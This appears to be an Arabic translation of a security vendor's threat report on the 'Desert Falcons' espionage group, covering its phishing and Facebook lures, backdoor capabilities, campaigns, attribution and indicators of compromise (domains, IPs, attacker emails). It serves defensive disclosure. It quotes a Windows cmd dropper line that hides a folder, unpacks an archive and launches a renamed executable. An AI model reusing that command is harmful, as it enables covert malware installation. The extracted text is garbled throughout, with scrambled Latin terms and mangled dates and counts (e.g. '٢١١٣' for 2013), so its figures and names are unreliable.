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 الملخص التنفيذي. ١
 

صقور الصحراء هي مجموعة جديدة من المجرمين الإلكترونيين تعمل من الشرق الأوسط، وتستخدم مجموعة من الوسائل 

تمتعون بمهارات عالية، فإضافة إلى حيل الهندسة الاجتماعية لإخفاء وتشغيل البرمجيات الخبيثة. ويبدو بأن هؤلاء المجرمين ي

 من الصفر: البرامج الخبيثةالمحترفة، فقد طوروا هذه 

 .برمجيات خبيثة لأنظمة الكمبيوتر تستهدف أجهزة ويندوز 

 .برمجيات خبيثة للهواتف المحمولة تستهدف أجهزة أندرويد 

  .ناقلات العدوى، بما يتضمن رسائل التصيد الإلكترونية، وحسابات شبكات اجتماعية مزيفة 

 وتم إغراء الضحايا المحتملين بمعلومات وأخبار سياسية واجتماعية، واستسلم الكثير منهم بسرعة لإصابة البرمجيات الخبيثة. 

 وشملت قائمة الضحايا المستهدفين:

 المؤسسات العسكرية والحكومات 

 ة والتلفاز، وأفضل وسائل الإعلامالصحف، ومحطات الإذاع 

 المؤسسات التجارية والمالية  

 مؤسسات البحث والتعليم 

 الناشطين والقادة السياسين 

 قطاعات الطاقة 

 شركات الأمن 

 ويتواجد ضحايا هجمات صقور الصحراء بشكل رئيسي في هذه الدول:

 مصر 

 فلسطين 

 إسرائيل 

 الأردن 

ي هجمات صقور الصحراء هي اللغة العربية، ويعتقد بأن هذه أول مجموعة عربية تطور وتنفذ عمليات واللغة الأم لمنفذ

. وأصبحت ٢١١٣، وحصلت أول إصابة عام ٢١١١تجسس إلكترونية كاملة. بدأت مجموعة صقور الصحراء عملياتها عام 

 . ٢١١٥بداية  /٢١١٤المجموعة فاعلة للغاية في نهاية 

فلسطين  ، ويديرون عملياتهم بشكل رئيسي منعضواً، يعملون ضمن ثلاثة فرق ٣١الصحراء من  وتتألف مجموعة صقور

 ومصر وتركيا. 

 ضحية.  ٣١١١ويتجاوز عدد الضحايا حتى يومنا هذا 

في الأصل أثناء تحقيق في هجمات في الشرق الأوسط. ويعتبر مستخدمو وتم العثور على برمجية المجموعة الخبيثة 

في حماية من الإصابة، حيث يتم كشف وحجب ملفات البرمجية الخبيثة والنطاقات المستخدمة في الهجمات كاسبرسكي لاب 

 المستهدفة. 
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 المقدمة. ٢
 

. وتتخذ الأزمة عدة نماذج، ويتزايد الصراع تعمقت الصراعات الجغرافية السياسية في الشرق الأوسط خلال السنوات الأخيرة

في الفضاء الإلكتروني، حيث تحاول كل من الجهات المتقاتلة إدارة دفة الصراع لصالحها عبر استخدام وسائل إلكترونية ذكية 

 وتشويه الأخبار. 

ل هجمة تقريباً من حملات مع وقوع ضحايا لككما شهدت السنوات الأخيرة زيادة سريعة للهجمات الإلكترونية في المنطقة، 

 الهجمات الإلكترونية المتقدمة الرئيسية )ريجين، إيبيك تورلا، كاريتو، نت ترافلر، ريد أكتوبر، فليم، جاوس، دوك، وغيرها(. 

في كاسبرسكي لاب عن هجمات مستهدفة جديدة في الشرق الأوسط.  TreRGوكشف فريق التحليلات والأبحاث الدولية 

ن الإلكترونيون العرب وسائل متطورة لإيصال وإخفاء وتشغيل البرمجيات الخبيثة التي صمموها بأنفسهم وقد أنشأ المجرمو

 أيضاً. وتم اكتشاف هذه البرمجية الخبيثة بالأصل أثناء تحقيق في أحد الهجمات في الشرق الأوسط. 

نيين لإغراء الضحايا بفتح الملفات والمرفقات. من قبل المجرمين الإلكتروويتم استغلال الأخبار والأنشطة السياسية باستمرار 

وتم إنشاء المحتوى على مستوى عال من الحرفية، مع أشكال مرئية متقنة التصميم، وتفاصيل مثيرة للاهتمام ومألوفة 

 للضحايا، كما لو أنهم كانوا يتوقعون هذه المعلومات منذ فترة طويلة. 

نهم ناشطون ومؤثرون ضمن مجتمعاتهم، ويعتبرون نقاط جذب للمجرمين وتم اختيار ضحايا هذه الهجمات بعناية، إذ أ

 الإلكترونيين، كمصدر للذكاء وهدف للابتزاز. 

وينفذ المجرمون عملياتهم منذ أكثر من سنتين، ويطلقون حملات مختلفة، تستهدف أنواعاً مختلفة من الضحايا وأنواع مختلفة 

شخصاً على الأقل موزعين في دول مختلفة مسؤولون عن تنفيذ  0Sونشتبه بأن من الأجهزة )بما يتضمن ويندوز وأندرويد(. 

 هذه العمليات. 

 وكمؤسسة أمنية، فقد ركز تحليلنا فقط على البرمجيات الخبيثة والحقائق المكتشفة أثناء بحثنا. 

صر وسوريا والإمارات والصقر هو طائر مشهور ونادر، وتواجد لفترة طويلة في الأراضي العربية ذات الصحارى، مثل م

وعمان، إضافة إلى دول أخرى. كما أنه يعتبر رمزاً للصيد والرؤية  العربية المتحدة وفلسطين والمملكة العربية السعودية

الثاقبة. وصقور الصحراء هي مجموعة مجرمين إلكترونيين محترفين، مع أهداف مختارة بعناية، يتم التحقق منهم بشمولية 

 لإصابة. قبل بدء الهجوم وا
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 أهداف العملية وملفات الضحايا. ٣
 

من أكثر الأشياء غموضاً حول مجموعة الصقور تنوع واختلاف الضحايا، مع الفوارق الاجتماعية والجغرافية والسياسية 

 الواضحة بينهم. 
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 تفاصيل إضافية حول الفئات الفردية للضحايا

 

 الضحيةفئة  وصف الضحية

مؤسسات ومراسلون مشهورون أصحاب خبرة واسعة، من مؤسسات 

إعلامية كبيرة وصغيرة وعالمية ومحلية، مع تغطية واسعة في منطقة 

 الشرق الأوسط. 

 الإعلام

الجامعات الإسلامية، المهاجرون وناشطو الحقوق من أصول عربية وهم 

دون الصور ومقاطع من أكثر الفئات استهدافاً، من المهاجمين الذين يتصي

 الفيديو والتسجيلات الصوتية. 

 التعليم والناشطون

المنظمات والموظفون المسؤولون عن الصحة الوطنية، ومكافحة غسيل 

 الأموال، والاقتصاد، والتجارة، والوزارات، والأبحاث والتطوير.  

 الحكومة

ووحدات دائرة الموظفين ذات المراحل العليا، والمرتبطة بوكالات الأمن، 

 قيادة الجيش.

 المؤسسات العسكرية

 الطاقة/ المؤسسات العامة موردو البنية التحتية الطارئة )الطاقة والنفط والغاز والمنشآت والشبكات(. 

مقاولو سلسلة التوريد التي توفر مواد البناء، والمعدات للعملاء التي 

 الجهات العسكرية وذات العلاقة بالفضاء.  تتضمن 

 الصناعية المؤسسات

 المؤسسات المالية تأثرت العديد من البنوك وقطاعات الاستثمار. 

من أكثر فئات الضحايا الغامضة، مع استهداف قطاعات رئيسية في بلدان 

 متعددة. 

 المؤسسات الأمنية

 

 

 

 
صورة من أحد موردي الأمن المستهدفين، تظهر اهتمام المهاجمين بالمعلومات حول موظفي الأمن ومهماتهم. ومن المحتمل 

 استهداف هؤلاء الضحايا في إطار جمع بيانات مفيدة، يمكن استخدامها في تنفيذ جرائم فعلية على أرض الواقع. 
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 معلومات الملفات المسروقة
ور الصحراء للتركيز على الذكاء السياسي والعسكري. وبالمجمل، فقد تمكن المهاجمون من سرقة أكثر تم إنشاء عمليات صق

 من مليون ملف ووثائق تتضمن بيانات حساسة من أجهزة الضحايا. 

 

 
 

 تحليل العملية. ٤
 

هم والتحكم بهم. تستغل مجموعة صقور الصحراء وسائل وتقنيات مختلفة للوصول إلى ضحاياهم والتجسس عليهم وإصابت

 وفيما يلي نوضح كل وسيلة وكيفية استخدامها لإدارة نشاطات التجسس الإلكتروني. وتنقسم الأدوات إلى ثلاثة أقسام كما يلي:

 .الخداع والإصابة 

 .التسلل والتجسس 

 .التعقب والتحكم 
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 الخداع والإصابة ٤.١
، وتقنية متنوعة لإيصال ملفاتهم إلى الضحايا وتشجيعهم على تشغيلهايستخدم كتاب البرمجيات الخبيثة وسائل هندسة اجتماعية 

مما ينشئ وسائل مؤثرة لنقل العدوى، حتى لدى قيامهم باستهداف ما يفترض أن تكون منظمات عالية الحماية مثل الحكومات 

باستغلال ما هندسة الاجتماعية والبنوك والمؤسسات الإعلامية الكبرى. وفي هذه الحالة يعتمد المهاجمون بشكل رئيسي على ال

 يلي:

  .ثقة الضحايا في منتديات الشبكات الاجتماعية 

 .فضول الضحايا لمعرفة آخر الأخبار السياسية المتعلقة بالصراعات في دولهم 

 ونوضح في الأقسام التالية الوسائل المختلفة المستخدمة من قبل المجرمين الإلكترونيين لإصابة الضحايا.

 

 لكترونية والوثائق المستهدفةالرسائل الإ
استخدمت هجمات الصقور رسائل تصيد إلكترونية حاولت خداع الضحايا لفتح مرفقات خبيثة. وتم استخدام وسيلة التصيد 

 كالحكومات أو المؤسسات الإعلامية الكبرى. بشكل رئيسي لدى استهداف ضحايا مهمين 

ة، من ناحية أسماء الملفات والمرفقات المختارة بعناية لتتناسب مع الضحايا وتم تصميم رسائل التصيد الإلكترونية بعناية كبير

 المستهدفين.
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 فيما يلي بعض الأمثلة على المحتوى المثير للاهتمام المستخدم لاستهداف الضحايا المهمين:

لدى استهداف سياسيين معروفين في مصر وفلسطين. كما تم  deesta  reoctkمن ملف  lSPتم استخدام نسخة 

استخدام الملف في حملات التصيد بما يبدو أنه ملخص النقاط الرئيسية لاجتماع مهم جداً بين قادة سياسيين في مصر 

 وفلسطين. 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 وثائق مستخدمة لدى استهداف سياسيين في مصر وفلسطين
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 تهداف ناشطين في إسرائيل وفلسطينمستخدمة لدى اس وثائق

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 tnt/rar: خدعة "tuctsohsانقر على الرمز المختصر "

 

يتم استخراجه إلى ملفات متعددة ويوفر رمزاً  tntمن التقنيات الأخرى التي يستخدمها المجرمون الإلكترونيون إرسال ملف 

مختصراً مغرياً على شكل أيقونة صغيرة ولطيفة الشكل. وفي هذه الحالة لا تضطر الضحية للنقر المزدوج على الملف، حيث 

 يكفي الرمز المختصر لتشغيل أمر شامل لاستخراج وإعداد وتشغيل البرمجية الخبيثة. 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

C:\Windows\System32\cmd.exe /c "md c:\LA&attrib c:\LA +h 

+s&C:\Progra~1\WinRAR\unrar.exe e _*.rar c:\LA\ -o+ -ibck&copy /y _*.doc 

c:\LA\&C:\Progra~1\WinRAR\winRAR.exe e -e c:\LA\_*.doc  c:\LA\ -o+ 

-ibck&ren c:\LA\image21.jpeg alg.exe&start c:\LA\alg.exe 
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 خدعة امتداد الرمز من اليمين إلى اليسار 
لعكس ترتيب الأحرف في اسم الملف، وإخفاء رمز الملف الخطير الممتد  eatockeتستغل هذه الوسيلة رموز خاصة في 

ضمن اسم الملف ووضع رمز ملف ممتد يبدو غير مؤذ بجانب نهاية اسم الملف. وباستخدام هذه التقنية، يمكن خداع حتى 

 ن الحذرين الذين يملكون معرفة تقنية جيدة لتشغيل هذه الملفات الخبيثة. المستخدمي
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 خدع الشبكات الاجتماعية
 هجمات فيسبوك مستهدفة لأشخاص محددين

يعتبر فريق صقور الصحراء من أوائل من قاموا بتنفيذ هجمات مستهدفة عبر دردشة فيسبوك، حيث أنشأ المهاجمون حسابات 

فيسبوك حقيقية، ومن ثم قاموا بالتواصل مع ضحايا مختارين عبر صفحات فيسبوك شائعة حتى اكتسبوا ثقتهم، ثم قاموا 

 تخفية على شكل صور وما إلى ذلك. بإرسال ملفات تروجان خبيثة لهم ضمن الدردشة، م

وفيما يلي بعض الصور الملتقطة من جهاز كمبيوتر أحد الضحايا، توضح عملية الإصابة، المستخرجة من أحد الخوادم 

 :&C&المركزية 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 . من حسابات مزيفة للضحايا عبر الدردشة ranto.tntأو  re.tntملفات خبيثة يتم إرسالها على شكل 

 

 استهدفت هجمات فيسبوك ناشطين شاملين ومتابعين سياسيين )إصابات متعددة(

تم استخدام تقنيات هندسة اجتماعية مختلفة لتحقيق مستوى واسع من الإصابات بين الناشطين ورموز السياسة، وتضمنت هذه 

ننا من تمييز منشورات فيسبوك التقنيات منشورات فيسبوك تحول الضحايا إلى صفحات مزيفة بمحتوى سياسي. ولقد تمك

مشبوهة على صفحات ناشط معروف، مع روابط لنطاقات أو ملفات خبيثة للتحميل مستخدمة من قبل الصقور. وفيما يلي 

 بعض الأمثلة:
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منشورات من حسابات مخترقة أو حسابات مزيفة على صفحات سياسية، دكتور سلام فياض هو رئيس وزراء سابق لدولة  

 فلسطين. 

 

 

 

 

 

 

 

 

 

 منشور آخر مع محتوى خبيث، هذه المرة على صفحة بينيامين نيتنياهو، رئيس وزراء إسرائيل الحالي. 
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 المزيفة renrnrnaetخدعة وصلة ريل بلاير 
تم استخدام الهندسة الاجتماعية السياسية في هذه الحالة لإيصال البرمجية الخبيثة على شكل "وصلة" ل "الفيديو المحظور" 

لبرنامج سياسي مشهور في مصر يقدمه الإعلامي الساخر باسم يوسف. وتم استضافة الصفحة على النطاق التالي: 

....rtarektr.ta .بحيث تم اختياره كي يكون مشابهاً لموقع الشبكة الاجتماعية المشهورة لينكد إن ، 

 

 
 

 

 

 التسلل والتجسس ٤.٢
للتجسس على الضحايا، وتم إنشاء  مختلفتين rnor kccttد مجموعة صقور الصحراء على ثغرتين للأبواب الخلفية تعتم

نموذجاً للبرمجيات الخبيثة التي  ١١١من الصفر، وهما قيد التطوير المستمر. وقد تمكننا من اكتشاف وجمع أكثر من  الثغرتين

 تستخدمها مجموعة صقور الصحراء. 

وحال قيام المهاجمين بإصابة جهاز كمبيوتر الضحية، فإنهم يملكون تحكماً كاملاً بالجهاز، وبالعادة يتابعون عملياتهم بالشكل 

 التالي:

H.  :مثال( .يتم تصنيف الضحايا الجدد ضمن مجموعات قبل التعرض للإصابةRSSH ،RSS2 .)وهكذا ، 

 يتم تعيين أحد المجرمين الإلكترونيين لكل ضحية جديدة بعد الإصابة.  .2

 ( من جهاز الضحية.VRW، و StD ،SO& ،GlTيتم استرجاع قائمة كاملة من كافة الملفات )خاصة  .0

 لكتروني ويجمع أي صور وملفات مثيرة للاهتمام. يتصفح المجرم الإ .4

D.  .يجمع المجرم الإلكتروني أيضاً أي رسائل دردشة وصور ملتقطة من الشاشة 

 يتم تعميق عملية التجسس أو إسقاطها بناء على أهمية الضحية.  .6
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 برمجية تروجان الخبيثة الرئيسية للصقور
هجمات، لا سيما لدى استهداف ضحايا مهمين. وقد تم العثور على نسخ هذه هي برمجية تروجان الرئيسية المستخدمة في ال

 متنوعة من تروجان، والتي تكشف عن عمليات تطوير وتحديثات مستمرة. 

 وتنقسم برمجية تروجان الخبيثة الرئيسية للصقور إلى نموذجين:

 

 برنامج تحميل الصقور

الصقور طلب تسجيل إلى الخوادم المركزية رسل برنامج تحميل ييستخدم هذ النموذج في الإصابة الأولية، وحال تنفيذه، 

&C&  يتضمن عنوانCl الخاص بالضحية وCS  الخاص بالقرص الصلب. ويطلب برنامج التحميل تأكيد التسجيل من خادم

&C&لنماذج المشفرة من أحدث باب خلفي . وبعدها يتم تحميل اrnor kcct .للصقور وتثبيتها على جهاز الضحية 

 

 
 

 

 للصقور rnor kcctثغرة الباب الخلفي 

مع محتوى مشفر، ما يوفر  HGGlباستخدام طلبات  &C&للصقور مع خوادم  rnor kcctيتصل الباب الخلفي 

 بشكل كامل، بما يتضمن: rnor kcctللمهاجمين القدرة على إنشاء الباب الخلفي 

  .الصور الملتقطة من الشاشة 

  .راصد لوحة المفاتيح 

 تحميل الملفات. /رفع 

  معلومات عن كافة ملفاتkco. وsrt.  على القرص الصلب للضحية أو أجهزةeDU .المتصلة 

  .)القدرة على سرقة كلمات المرور المخزنة على سجل النظام )إنترنت إكسبلورر ولايف ماسنجر 

ضمن أرشيف  &C&إلى خوادم  rnor kcctيتم إرسال كافة الملفات والصور الملتقطة من الشاشة من قبل الباب الخلفي 

 محمي بكلمة مرور. 

، ونعتبر بأن هذا تاريخ البداية الحقيقي 2SH0وكان تاريخ تنفيذ أول برمجية تروجان للصقور عثرنا عليها في فبراير 

 لفعاليات الإصابة. 

 

 

 

mailto:intelreports@kaspersky.com


TLP: White 

For any inquiries, please contact intelreports@kaspersky.com 

 
 

 

 

 

17 

 SHDتجسس 
 (.S **H***لوصف الأحرف الأولى من الاسم المستعار لأحد المبرمجين )تجسس  SHDيستخدم المهاجمون تسمية 

ً  rnor kcct، أخذت الصقور باستخدام باب خلفي 2SH4بدءاً من يونيو  ، منشئ من قبل فريق "SHDتجسس " جديد كليا

الأهداف السابقة عبر الوظائف برمجة مختلف، ووفر هذا الأمر للمهاجمين القدرة على التحكم بالنظام المصاب، بما يخدم نفس 

 التالية:

 .الصور الملتقطة من الشاشة وراصد لوحة المفاتيح 

  .التسجيل الصوتي 

  .تحميل ورفع الملفات 

  .سرقة كلمات المرور 

  .الشاشة التفاعلية 

 

 

 
 

 يربط البرمجية الخبيثة مع أيقونة والفئة التي تنتمي لها الضحية.  SHDبرنامج 
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 &C&و  SHDصورة ملتقطة من شاشة لأدوات التحكم عن بعد ب 

 

SHD2SHD ًالتي تدعى أيضا ،trns 
نسخة جديدة ونهائية تقريباً من برمجية تروجان الخبيثة، مرتبطة الآن بخصائص جديدة  SHD، أطلقت ٢١١٥مع بداية 

ات. وتمت تسمية البرمجية الخبيثة الجديدة وتخزين الملف &C&وتقنيات للهرب من الاكتشاف، كما تضيف تشفيراً لاتصالات 

SHD2SHD  أوtrRG. 

 

 
 

 في الهواتف المحمولة rnor kcctآثار الباب الخلفي 
 &C&على آثار لبيانات تشير إلى سجلات تروجان للهواتف المحمولة على  &C&عثرنا أثناء البحث في خوادم 

....wnhnknse.tawc  ،ويتضمن الخادم سجلات وتمثل الآثار منظومة لخادم مركزي للتجسس على الهواتف المحمولة

 ضحية.  ٣٦١مكالمات على الهاتف المحمول، وسجلات رسائل نصية، وتعقب للمواقع الجغرافية لأكثر من 
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 SHDأدوات أخرى من 
داة لتشفير وفك تشفير الملفات التي تعتمد على مفاتيح عامة أو طور المجرمون الإلكترونيون أدوات أخرى، على سبيل المثال أ

 خاصة. 
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 جدول تصنيف النماذج الزمني
يوضح جدول تصنيف ملفات البرمجيات الخبيثة الزمني للنماذج المجمعة بشكل واضح أنشطة وعمليات الصقور، والتي بدأت 

 .٢١١٤، وازدادت بشكل هائل في ٢١١٣في 

 

 
 

 والتحكمالتعقب  ٤.٣
مختلف، تستهدف أنواعاً  C&/ Cl&يمكن تقسيم عملية صقور الصحراء إلى ثلاث حملات مختلفة، يتم تشغيل كل منها من 

 مختلفة من الضحايا، كما تم تشغيلها من قبل أفراد مختلفين من الفريق. 

 ن:يمكن تصنيف الحملات بناء على نوع ونسخة البرمجية الخبيثة ونوع الضحايا المستهدفي

  الحملة الأولى: نشيطة في فلسطين ومصر والأردن ودول الخليج )المملكة العربية السعودية والإمارات العربية

 المتحدة وقطر(. 

  .الحملة الثانية: نشيطة في إسرائيل 

  .الحملة الثالثة: نشيطة في مصر 
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 الحملة الأولى: استهداف أجهزة الكمبيوتر والهواتف المحمولة
ة الصقور الرئيسية، وتضمنت أكبر عدد من الضحايا، وقد ركزت بشكل رئيسي على الضحايا رفيعي المستوى هذه هي حمل

، وكان الضحايا المستهدفين من المنظمات الحكومية، والمراكز العسكرية، في فلسطين والأردن ومصر ودول الخليج

 والمؤسسات الإعلامية الكبرى. 

 

البرمجية الخبيثة  تاريخ التسجيل

 المستخدمة

 &C&نطاقات  Clعناوين  الضحايا

 ahmedfaiez.info  الإعلام والحكومة تروجان الصقور 2013-03-29

 fpupdate.info  الهواتف المحمولة تروجان الصقور 2013-04-14

 flushupate.com   تروجان الصقور 2014-02-16

 flushupdate.com  الإعلام تروجان الصقور 2014-02-16

المراكز العسكرية  تروجان الصقور 2014-09-14

 والحكومة

 ineltdriver.com 

 mediahitech.info  مجهول تروجان الصقور 2012-06-28

 

 الحملة الثانية
 ضحية.  ٦١١استهدفت هذه الحملة بشكل رئيسي الضحايا في إسرائيل باستخدام تروجان الصقور، وتم اكتشاف أكثر من 

 

البرمجية الخبيثة  تاريخ التسجيل

 المستخدمة

 &C&نطاقات  Clعناوين  الضحايا

 mixedwork.com  ضحايا إسرائيليون تروجان الصقور 2014-02-18

 plmedgroup.com  ضحايا إسرائيليون تروجان الصقور 2014-02-18

 pstcmedia.com  مجهول تروجان الصقور 2013-07-04

 

 الحملة الثالثة
استهدفت هذه الحملة بشكل رئيسي الناشطين والرموز السياسية، ومحطات الإذاعة والتلفاز في مصر، وهي الحملة الوحيدة 

 . SHDضمن عمليات الصقور التي استخدمت تجسس 

 

البرمجية الخبيثة  تاريخ التسجيل

 المستخدمة

 &C&نطاقات  Clعناوين  الضحايا

 advtravel.info  ناشطون SHDتجسس  2013-11-17

2014-12-01 SHD 2SHD/ trns سياسيون وناشطون  linksis.info 

 

أيضاً بأنها أحدث حملة يتم إدارتها من قبل ، يمكننا التأكيد SHDوإضافة إلى كونها الحملة الوحيدة التي استخدمت تجسس 

رتكبة في عمليات الحملة، فعلى سبيل أعضاء مجموعة حديثين وأصحاب خبرة قليلة. ويبدو هذا الأمر واضحاً من الأخطاء الم

متاحاً للدخول العام، على الرغم من احتوائه ملفات وصور ملتقطة من  nkestneer.tawcالمركزي  &C&المثال كان خادم 

 . rnor kcctالشاشة ومعلومات مجمعة من الضحايا وسجلات تنفيذ الأبواب الخلفية 
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بنية الملف وحامل الملفات على أحد الخوادم المركزية. ولوقت قصير كان الإذن بالدخول إلى ملفات الخوادم المركزية متاحاً 

 للعامة. 

 

ttnscan.aes 
، حيث يظهر ttnstan.aes، والتي تدل على بداية سابقة لعمليات الصقور هي نطاق من أحد الاكتشافات المثيرة للاهتمام

، كان هذا النطاق يشير إلى أحد ٢١١٣وديسمبر  ٢١١٢يونيو  ٢١تاريخ الاستضافة لهذا النطاق أنه في الفترة الواقعة بين 

 الصقور.  قبل ( المستخدمة منH88.4S.HS6.84) Clعناوين 

ذا النموذج بعض نقاط . ويملك ه&C&على شكل  ttnscan.aesوقد تمكننا من العثور على نموذج برمجية خبيثة تستخدم 

. ومن ٢١١١الرئيسي للصقور، ووقت تصنيف نقاط النموذج التي تعود إلى ديسمبر  rnor kcctالتشابه مع الباب الخلفي 

، وهو دليل على هدف لمواقع إلكترونية فلسطينية ertالمثير للاهتمام أن هذا النموذج يحاول سرقة بيانات الدخول لعناوين 

 ر. مشترك مع فريق الصقو

  

 الإلكترونية المستخدمة في البرمجية الخبيثة:المواقع 

 c/login.phprhttp://mail.mtit.pna.ps/s البريد الإلكتروني لوزارة الاتصالات وتكنولوجيا المعلومات الفلسطينية 

 al.ps/whttp://myaccount.jaw مزود خدمة جوال للهواتف المحمولة 

 http://portal.iugaza.edu.ps/ الجامعة الإسلامية في غزة 
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 لمواقع إلكترونية فلسطينية.  ertتتضمن عناوين  &C&م على شكل خواد ttnscan.aesبرمجية خبيثة تستخدم 

 

 

 

 

 الجدول الزمني لعمليات الحملات 
، فقد تم العثور على آثار متعلقة بالنطاق قد تدل على 2SH0على الرغم من أن ملفات البرمجية الخبيثة تعود فقط إلى عام 

 نشاطات سابقة نفذها صقور الصحراء:
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 النسبة. ٥
في مجموعة صقور الصحراء للإجرام الإلكتروني لفريق الأبحاث تحديد هوية بعض أعضاء المجموعة الذين  أتاح البحث

 يقفون خلف تطوير وتشغيل هذه الحملات.

تقريباً، يعملون ضمن ثلاثة فرق، ويديرون عملياتهم بشكل رئيسي من فلسطين  0Sويبلغ عدد أعضاء فريق صقور الصحراء 

 ومصر وتركيا. 

 نا بأن لغة المجرمين الإلكترونيين الأم هي العربية، وينتمون إلى الشرق الأوسط، بناء على أدلة من:كما أكد

  .الهويات التي تم العثور عليها 

  حقيقة أن معظم ملفات البرمجية الخبيثة تمتلك مصدرlP  معلومات النسخة" مع "خاصية اللغة" التي تم إعدادها"

 إلى "العربية". 

  أسماء المستخدم لمدراء خوادم&C&  .عربية 

  العثور على رسائل إلكترونية وأسماء عربية في تاريخ التسجيل لنطاقات&C&. 

  .وثائق ورسائل تصيد إلكترونية عربية مستخدمة في الهجمات 

  اللوحة المركزية لتجسسSHD  .بواجهة عربية 

 

 
 

، والتي كانت تملك إذن &C&لدى التحقيق في محتويات أحد خوادم تم العثور على هويات بعض المجرمين الإلكترونيين 

مفتوحاً لفترة زمنية قصيرة. وقد تمكننا من تعقب والتعرف على ملفات كاملة لبعض المهاجمين بما يتضمن  بالقراءة العامة

عض المعلومات حول حسابات فيسبوك وتويتر، ومدونات خاصة، ومواقع إلكترونية. ومن المفاجئ قيام المهاجمين بنشر ب

 تطوير تجسسهم والخوادم المركزية على تويتر.
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 الخاتمة. ٦
ليست ضرورية في الهجمات المستهدفة  yetc knaتظهر هجمات صقور الصحراء بوضوح بأن تقنيات الهجوم دون انتظار 

ة وأدوات معدة من الصفر رسائل التصيد الإلكترونية والهندسة الاجتماعيالفعالة، حيث تمكن صقور الصحراء باستخدام 

من إصابة مئات الضحايا المهمين والحساسين في منطقة الشرق الأوسط عبر أنظمة  rnor kcctوثغرات الأبواب الخلفية 

 أجهزة الكمبيوتر الخاصة بهم أو هواتفهم المحمولة. 

نوك والمؤسسات الإعلامية ويعد هذا تنبيهاً على وضع الأمن الإلكتروني الضعيف في المنطقة، حيث خضعت كل من الب

 لهجمات صقور الصحراء.  فريسة والحكومات والمراكز العسكرية في دول مختلفة

ويتميز منفذو تهديدات الصقور بالتصميم والحيوية والمعرفة التقنية الجيدة، ونتوقع أن تستمر عملياتهم بحمل مزيد من 

برمجيات تروجان الخبيثة، واستخدام تقنيات أكثر تطوراً. وبتوفر التمويل الكافي، فقد يتمكنون من امتلاك أو تطوير برمجيات 

 . إكسبلويت، تزيد من فعالية هجماتهم

ومجموعة صقور الصحراء هي مثال واحد على ارتفاع الجريمة الإلكترونية في منطقة مليئة بالمشاكل السياسية الجغرافية، 

 والتي ستحفز نشطاء تهديدات أخرى لتنفيذ هجمات إلكترونية لأهداف سياسية أو إجرامية. 

 كاسبرسكي لاب تكتشف كافة ملفات البرمجيات الخبيثة كما يلي:
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 اتالملحق. ٧
 C&t&الملحق الأول: تاريخ 
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 ونماذج &COالملحق الثاني: 
 يمكن استخدام المؤشرات التالية على الهجوم للتعرف على إصابات الصقور.

 

 &C&الأسماء المستضيفة المعروفة ل "الصقور" و 

 

 
 
 

 أسماء مستضيفة ذات علاقة

 

• linkedim.in 
 

• iwork-sys.com 
 

• nauss-lab.com 
 

• nice-mobiles.com 
 

• facebook-emoticons.bitblogoo.com 
 

• abuhmaid.net 
 

• blogging-host.info 
 

• androcity.com 
 

• tvgate.rocks 
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 &C& معروفة ل "الصقور" و Clعناوين 

 
• 188.40.75.132 

 

• 188.40.81.136 
 

• 188.40.106.84 

 
 

dSD  لثغرات الأبواب الخلفيةrnor kcctt  مستخدمة في الهجمات 
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 rnor kcctملفات ذات علاقة بثغرة الباب الخلفي 
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 سابات البريد الإلكتروني للمهاجم المستخدمة في تنفيذ هجمات التصيدح
 

newsletar05@gmail.com 

 ynet48@gmail.com 

 mako22014@gmail.com 

 italy.officce@gmail.com 
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